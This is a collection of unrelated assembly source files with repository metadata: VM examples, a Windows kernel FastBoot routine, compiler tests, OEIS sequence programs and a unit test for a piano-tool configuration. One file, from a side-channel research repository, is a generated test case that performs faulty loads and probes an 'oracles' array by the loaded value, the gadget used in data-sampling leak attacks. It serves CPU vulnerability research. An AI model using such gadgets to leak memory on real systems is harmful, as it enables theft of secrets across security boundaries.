bench/asm/main.asm
|
alexislefebvre/purr
|
f826901883ddbe7bbc8620fe710bbd4b2c2b3755
|
[
"MIT"
] | null | null | null |
bench/asm/main.asm
|
alexislefebvre/purr
|
f826901883ddbe7bbc8620fe710bbd4b2c2b3755
|
[
"MIT"
] | null | null | null |
bench/asm/main.asm
|
alexislefebvre/purr
|
f826901883ddbe7bbc8620fe710bbd4b2c2b3755
|
[
"MIT"
] | null | null | null |
mov r0, 0
jmp [redo]
[redo]:
add r0, r0, 1
println r0
jmp [redo]
| 9.2
| 17
| 0.445652
|
53c035e0228020eb4f9814a30ea7f0421ae6c188
| 2,944
|
asm
|
Assembly
|
base/mvdm/wow16/kernel31/ldfastb.asm
|
npocmaka/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 17
|
2020-11-13T13:42:52.000Z
|
2021-09-16T09:13:13.000Z
|
base/mvdm/wow16/kernel31/ldfastb.asm
|
sancho1952007/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 2
|
2020-10-19T08:02:06.000Z
|
2020-10-19T08:23:18.000Z
|
base/mvdm/wow16/kernel31/ldfastb.asm
|
sancho1952007/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 14
|
2020-11-14T09:43:20.000Z
|
2021-08-28T08:59:57.000Z
|
TITLE LDFASTB - FastBoot procedure
.xlist
include kernel.inc
include newexe.inc
include pdb.inc
include tdb.inc
.list
.386
externA __ahincr
externFP GlobalReAlloc
sBegin NRESCODE
assumes CS,NRESCODE
assumes DS,NOTHING
assumes ES,NOTHING
sEnd NRESCODE
DataBegin
externB Kernel_flags
externW pGlobalHeap
externW win_show
externW hLoadBlock
externW segLoadBlock
externD lpBootApp
externW cpShrink
externW cpShrunk
DataEnd
sBegin INITCODE
assumes CS,CODE
assumes DS,NOTHING
assumes ES,NOTHING
externNP MyLock
externNP get_arena_pointer32
externNP get_physical_address
externNP set_physical_address
externNP get_rover_2
;-----------------------------------------------------------------------;
; Shrink ;
; ;
; This shrinks what's left of win.bin. The part at the front of win.bin;
; that has been loaded already is expendable. The part of win.bin ;
; that has not been loaded yet is moved down over the expended part. ;
; This does not change the segment that win.bin starts at. The ;
; partition is then realloced down in size. ;
; ;
; Arguments: ;
; none ;
; ;
; Returns: ;
; ;
; Error Returns: ;
; ;
; Registers Preserved: ;
; DI,SI,DS,ES ;
; ;
; Registers Destroyed: ;
; AX,BX,CX,DX ;
; ;
; Calls: ;
; BigMove ;
; GlobalReAlloc ;
; MyLock ;
; ;
; History: ;
; ;
; Fri Feb 27, 1987 01:20:57p -by- David N. Weise [davidw] ;
; Documented it and added this nifty comment block. ;
;-----------------------------------------------------------------------;
assumes ds, nothing
assumes es, nothing
cProc Shrink,<PUBLIC,NEAR>
cBegin nogen
CheckKernelDS
ReSetKernelDS
push es
push si
push di
mov ax,[segLoadBlock] ; Get current address
mov bx, ax
mov ds, pGlobalHeap
UnSetKernelDS
cCall get_arena_pointer32,<ax>
mov edx, ds:[eax].pga_size
shr edx, 4
SetKernelDS
mov ax,bx
mov es,ax ; es is destination
xor bx,bx
xchg [cpShrink],bx ; Get amount to shrink by
add [cpShrunk],bx ; Keep track of how much we have shrunk
sub dx,bx ; get new size
push dx ; save new size
push ds ; save kernel ds
mov ds, ax
movzx esi, bx
shl esi, 4 ; Start of new block
xor edi, edi ; Where it will go
movzx ecx, dx
shl ecx, 2 ; Dwords
cld ; Move it down.
rep movs dword ptr es:[edi], dword ptr ds:[esi]
db 67h ; 386 BUG, DO NOT REMOVE
nop ; 386 BUG, DO NOT REMOVE
pop ds
CheckKernelDS
ReSetKernelDS
pop ax ; get back size in paragraphs
mov cx,4
xor dx,dx ; convert to bytes
il3e:
shl ax,1
rcl dx,1
loop il3e
cCall GlobalReAlloc,<hLoadBlock,dxax,cx>
cCall MyLock,<hLoadBlock>
mov [segLoadBlock],ax
pop di
pop si
pop es
ret
cEnd nogen
sEnd INITCODE
end
| 20.303448
| 74
| 0.605299
|
e316b220360dbcf9a02face2f861fd14c2035793
| 43
|
asm
|
Assembly
|
FlaxVM/bin/Debug/Examples/dup.asm
|
DreamVB/FlaxVM
|
2ebac859e423eada8ec923524c977193d45199d4
|
[
"Apache-2.0"
] | null | null | null |
FlaxVM/bin/Debug/Examples/dup.asm
|
DreamVB/FlaxVM
|
2ebac859e423eada8ec923524c977193d45199d4
|
[
"Apache-2.0"
] | null | null | null |
FlaxVM/bin/Debug/Examples/dup.asm
|
DreamVB/FlaxVM
|
2ebac859e423eada8ec923524c977193d45199d4
|
[
"Apache-2.0"
] | null | null | null |
# Test DUP
PUSH 20
DUP
ADD
SYS 3
HLT
| 6.142857
| 11
| 0.604651
|
3c94ef66aaace2c28e9be41cd0ba60841f8f2380
| 3,923
|
asm
|
Assembly
|
src/test/ref/atarixl-md5b.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/test/ref/atarixl-md5b.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/test/ref/atarixl-md5b.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
// 8 bit converted md5 calculator
// Commodore 64 PRG executable file
.file [name="atarixl-md5b.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(__start)
.label line = 7
.label idx = 2
.segment Code
__start: {
// __ma char * line = (char*)0x0400
lda #<$400
sta.z line
lda #>$400
sta.z line+1
// __ma char idx = 0
lda #0
sta.z idx
jsr main
rts
}
main: {
.label s = $a
lda #<$400
sta.z s
lda #>$400
sta.z s+1
__b1:
// for(char* s=(char*)0x0400;s<0x0800;s++)
lda.z s+1
cmp #>$800
bcc __b2
bne !+
lda.z s
cmp #<$800
bcc __b2
!:
// md5()
jsr md5
__b4:
jmp __b4
__b2:
// *s=' '
lda #' '
ldy #0
sta (s),y
// for(char* s=(char*)0x0400;s<0x0800;s++)
inc.z s
bne !+
inc.z s+1
!:
jmp __b1
}
md5: {
.const c = $98
.label b = 4
.label a = 6
.label b_1 = 9
lda #c
sta.z a
lda #$ef
sta.z b_1
ldy #$67
ldx #0
__b1:
// for(char i = 0; i<4; i++)
cpx #4
bcc __b2
// }
rts
__b2:
// print(i, a, b, c)
sty.z print.a
lda.z b_1
sta.z print.b
lda.z a
sta.z print.c
jsr print
// i&1
txa
and #1
// if(i&1)
cmp #0
// b = b + 1
ldy.z b_1
iny
sty.z b
// print(i, a, b, c)
lda.z a
sta.z print.a
lda.z b_1
sta.z print.c
jsr print
// for(char i = 0; i<4; i++)
inx
ldy.z a
lda.z b
sta.z b_1
sta.z a
jmp __b1
}
// void print(__register(X) char i, __zp(5) char a, __zp(4) char b, __zp(3) char c)
print: {
.label a = 5
.label b = 4
.label c = 3
// l/0x10
txa
lsr
lsr
lsr
lsr
// line[idx++] = HEX[l/0x10]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l/0x10];
inc.z idx
// l&0x0f
txa
and #$f
// line[idx++] = HEX[l&0x0f]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l&0x0f];
inc.z idx
// line[idx++] = ' '
lda #' '
ldy.z idx
sta (line),y
// line[idx++] = ' ';
inc.z idx
// l/0x10
lda.z a
lsr
lsr
lsr
lsr
// line[idx++] = HEX[l/0x10]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l/0x10];
inc.z idx
// l&0x0f
lda #$f
and.z a
// line[idx++] = HEX[l&0x0f]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l&0x0f];
inc.z idx
// line[idx++] = ' '
lda #' '
ldy.z idx
sta (line),y
// line[idx++] = ' ';
inc.z idx
// l/0x10
lda.z b
lsr
lsr
lsr
lsr
// line[idx++] = HEX[l/0x10]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l/0x10];
inc.z idx
// l&0x0f
lda #$f
and.z b
// line[idx++] = HEX[l&0x0f]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l&0x0f];
inc.z idx
// line[idx++] = ' '
lda #' '
ldy.z idx
sta (line),y
// line[idx++] = ' ';
inc.z idx
// l/0x10
lda.z c
lsr
lsr
lsr
lsr
// line[idx++] = HEX[l/0x10]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l/0x10];
inc.z idx
// l&0x0f
lda #$f
and.z c
// line[idx++] = HEX[l&0x0f]
tay
lda HEX,y
ldy.z idx
sta (line),y
// line[idx++] = HEX[l&0x0f];
inc.z idx
// line[idx++] = ' '
lda #' '
ldy.z idx
sta (line),y
// line[idx++] = ' ';
inc.z idx
// line += 40
lda #$28
clc
adc.z line
sta.z line
bcc !+
inc.z line+1
!:
// idx=0
lda #0
sta.z idx
// }
rts
}
.segment Data
HEX: .text "0123456789abcdef"
.byte 0
| 16.144033
| 83
| 0.460617
|
a9264ac3b1d77f00799dbcbeebcf7a5d4212bd00
| 912
|
asm
|
Assembly
|
programs/oeis/277/A277954.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/277/A277954.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/277/A277954.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A277954: Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 14", based on the 5-celled von Neumann neighborhood.
; 1,3,6,14,26,58,106,234,426,938,1706,3754,6826,15018,27306,60074,109226,240298,436906,961194,1747626,3844778,6990506,15379114,27962026,61516458,111848106,246065834,447392426,984263338,1789569706,3937053354,7158278826,15748213418,28633115306,62992853674,114532461226,251971414698,458129844906,1007885658794,1832519379626,4031542635178,7330077518506,16126170540714,29320310074026,64504682162858,117281240296106,258018728651434,469124961184426,1032074914605738,1876499844737706,4128299658422954,7505999378950826
mov $3,3
lpb $0
mov $2,$0
sub $0,1
sub $3,$1
trn $4,1
mul $4,2
mov $1,$4
add $1,3
mul $1,2
mov $4,$3
mov $3,$1
mov $1,$4
add $3,$4
lpe
sub $1,$2
add $1,1
| 43.428571
| 509
| 0.780702
|
88d83fa80333cdf7a471848f78c73707cfd5c59f
| 7,643
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1371.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1371.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1371.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xf041, %rsi
inc %r15
mov (%rsi), %di
nop
nop
nop
xor %r11, %r11
lea addresses_WT_ht+0x1c0c1, %r14
nop
nop
nop
nop
nop
sub %rdi, %rdi
movb (%r14), %r11b
nop
nop
nop
cmp $8320, %rdi
lea addresses_normal_ht+0x58c1, %rsi
lea addresses_WT_ht+0xdf81, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $27, %rcx
rep movsb
sub %r14, %r14
lea addresses_WC_ht+0x1d841, %rsi
lea addresses_D_ht+0x11961, %rdi
and %r8, %r8
mov $107, %rcx
rep movsb
nop
inc %r11
lea addresses_normal_ht+0x19701, %rsi
nop
nop
sub $51282, %r11
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
mfence
lea addresses_WT_ht+0xfec1, %r11
nop
add $60486, %rcx
mov (%r11), %r8d
nop
nop
nop
nop
and %rbx, %rbx
lea addresses_normal_ht+0xa931, %r14
add %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%r14)
add $63991, %r11
lea addresses_D_ht+0x14481, %rdi
nop
sub %r8, %r8
mov (%rdi), %r15w
nop
nop
lfence
lea addresses_WC_ht+0x1e35d, %rbx
nop
nop
nop
nop
nop
cmp %rdi, %rdi
mov (%rbx), %r15
nop
nop
and %r8, %r8
lea addresses_A_ht+0xc54b, %rbx
nop
nop
and %rsi, %rsi
and $0xffffffffffffffc0, %rbx
movaps (%rbx), %xmm6
vpextrq $1, %xmm6, %r11
nop
nop
nop
nop
xor $45541, %r14
lea addresses_WT_ht+0xf381, %r11
nop
nop
nop
nop
nop
cmp %r8, %r8
movups (%r11), %xmm3
vpextrq $0, %xmm3, %rdi
nop
nop
nop
nop
nop
xor $40588, %rsi
lea addresses_normal_ht+0x7801, %r15
nop
nop
nop
xor $21579, %rsi
movb $0x61, (%r15)
nop
nop
nop
nop
nop
sub $22445, %r15
lea addresses_WC_ht+0x6941, %rdi
and %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
cmp %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_RW+0x1fb81, %rsi
lea addresses_normal+0x581, %rdi
nop
nop
and %r10, %r10
mov $18, %rcx
rep movsw
nop
nop
nop
add %rcx, %rcx
// Store
lea addresses_A+0x1553, %r10
and %rsi, %rsi
mov $0x5152535455565758, %rdi
movq %rdi, (%r10)
nop
nop
nop
nop
and %rdi, %rdi
// Faulty Load
lea addresses_WC+0x5381, %rcx
add %r8, %r8
movups (%rcx), %xmm6
vpextrq $0, %xmm6, %r10
lea oracles, %rcx
and $0xff, %r10
shlq $12, %r10
mov (%rcx,%r10,1), %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_RW', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_normal', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.58371
| 2,999
| 0.654848
|
53e55fb69ae165a10a48f5636052efd91581b2f3
| 84
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/fmod.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/fmod.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/fmod.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp_math32
PUBLIC _fmod
EXTERN _m32_fmodf
defc _fmod = _m32_fmodf
| 12
| 24
| 0.797619
|
ba23e73bea1adb91770ec412f270993946015bb4
| 416
|
asm
|
Assembly
|
programs/oeis/228/A228367.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/228/A228367.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/228/A228367.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A228367: n-th element of the ruler function plus the highest power of 2 dividing n.
; 2,4,2,7,2,4,2,12,2,4,2,7,2,4,2,21,2,4,2,7,2,4,2,12,2,4,2,7,2,4,2,38,2,4,2,7,2,4,2,12,2,4,2,7,2,4,2,21,2,4,2,7,2,4,2,12,2,4,2,7,2,4,2,71,2,4,2,7,2,4,2,12,2,4,2,7,2,4,2,21,2,4,2,7,2,4,2,12,2,4,2,7,2,4,2,38,2,4,2,7
mov $1,4
mov $2,3
lpb $0
sub $0,1
mul $0,2
dif $0,4
sub $2,1
mul $2,2
add $1,$2
lpe
div $1,2
mov $0,$1
| 26
| 213
| 0.564904
|
dd211010643df6a174879069341fc60534567f88
| 572
|
asm
|
Assembly
|
programs/oeis/033/A033123.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/033/A033123.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/033/A033123.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A033123: Base-5 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,1.
; 1,5,26,131,655,3276,16381,81905,409526,2047631,10238155,51190776,255953881,1279769405,6398847026,31994235131,159971175655,799855878276,3999279391381,19996396956905,99981984784526,499909923922631,2499549619613155,12497748098065776
cal $0,33132 ; Base-5 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0.
mov $3,$0
div $0,3
add $0,1
mov $1,$3
add $1,$3
mul $1,4
add $2,$0
mul $2,2
add $1,$2
sub $1,10
div $1,10
add $1,1
| 33.647059
| 231
| 0.762238
|
0d30ef9bc741f46b089c16b3bff8bdbc5e434d2b
| 1,511
|
asm
|
Assembly
|
test/utest_max_min_config.asm
|
Fabian-Schneider01/Virtual-Piano
|
aa232b4fc4fa09fa43643db8ae10414406166df5
|
[
"MIT"
] | 1
|
2021-10-30T19:03:41.000Z
|
2021-10-30T19:03:41.000Z
|
test/utest_max_min_config.asm
|
Fabian-Schneider01/Virtual-Piano
|
aa232b4fc4fa09fa43643db8ae10414406166df5
|
[
"MIT"
] | null | null | null |
test/utest_max_min_config.asm
|
Fabian-Schneider01/Virtual-Piano
|
aa232b4fc4fa09fa43643db8ae10414406166df5
|
[
"MIT"
] | null | null | null |
#testing the maximum position of sliders in the tool (duration and volume completely right)
#check wether they are still in range (not bigger 3000, 127 and 112 -> not smaller than 0)
#code from "utest_saved_max_config.asm" is generated with the save function of the virtual piano (melody deleted because not relevant for this test)
.text
#test if maximum value of duration slider is still in range
jal utest_max
jal test_duration
jal utest_min
jal test_duration
j utest_exit
test_duration:
li t0, 0
blt a1, t0, utest_failed
li t0, 3000
blt t0, a1, utest_failed
li a1, 1
j test_instrument
#test if last instrument in instrument menu is still in range
test_instrument:
li t0, 0
blt a2, t0, utest_failed
li t0, 127
blt t0, a2, utest_failed
li a2, 1
j test_volume
#test if maximum value of volume slider is still in range
test_volume:
li t0, 0
blt a3, t0, utest_failed
li t0, 127
blt t0, a3, utest_failed
li a3, 1
ret
#testing the minimum position of sliders in the tool (duration and volume completely left)
#check wether they are still in range (not bigger 3000, 127 and 112 -> not smaller than 0)
#code from "utest_saved_min_config.asm" is generated with the save function of the virtual piano (melody deleted because not relevant for this test
jal utest_min
#fails if at least a0, a1, a2 or a3 not store 1
utest_failed:
li a7, 10
ecall
#success if a0, a1, a2, a3 store 1
utest_exit:
li a7, 10
ecall
.include "utest_saved_max_config.asm"
.include "utest_saved_min_config.asm"
| 26.982143
| 148
| 0.763733
|
2c8479884fa24493ea8a19f30a199a99481cc2f2
| 547
|
asm
|
Assembly
|
programs/oeis/053/A053114.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/053/A053114.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/053/A053114.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A053114: a(n) = ((8*n+9)(!^8))/9, related to A045755 ((8*n+1)(!^8) octo- or 8-factorials).
; 1,17,425,14025,575025,28176225,1606044825,104392913625,7620682694625,617275298264625,54937501545551625,5328937649918507625,559538453241443300625,63227845216283092970625,7650569271170254249445625,986923435980962798178485625,135208510729391903350452530625,19605234055761825985815616940625,2999600810531559375829789391915625,482935730495581059508596092098415625
add $0,1
mov $1,2
mov $2,1
lpb $0
sub $0,1
add $2,8
mul $1,$2
lpe
mov $0,$1
div $0,18
| 39.071429
| 360
| 0.800731
|
6bf74c3ce4894435a9cfa6057123e983082c7388
| 297
|
asm
|
Assembly
|
oeis/040/A040342.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/040/A040342.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/040/A040342.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A040342: Continued fraction for sqrt(362).
; Submitted by Christian Krause
; 19,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38
min $0,1
add $0,1
mul $0,19
| 37.125
| 190
| 0.680135
|
36812128128aae990594063c2d8babd42c58cea2
| 32,760
|
asm
|
Assembly
|
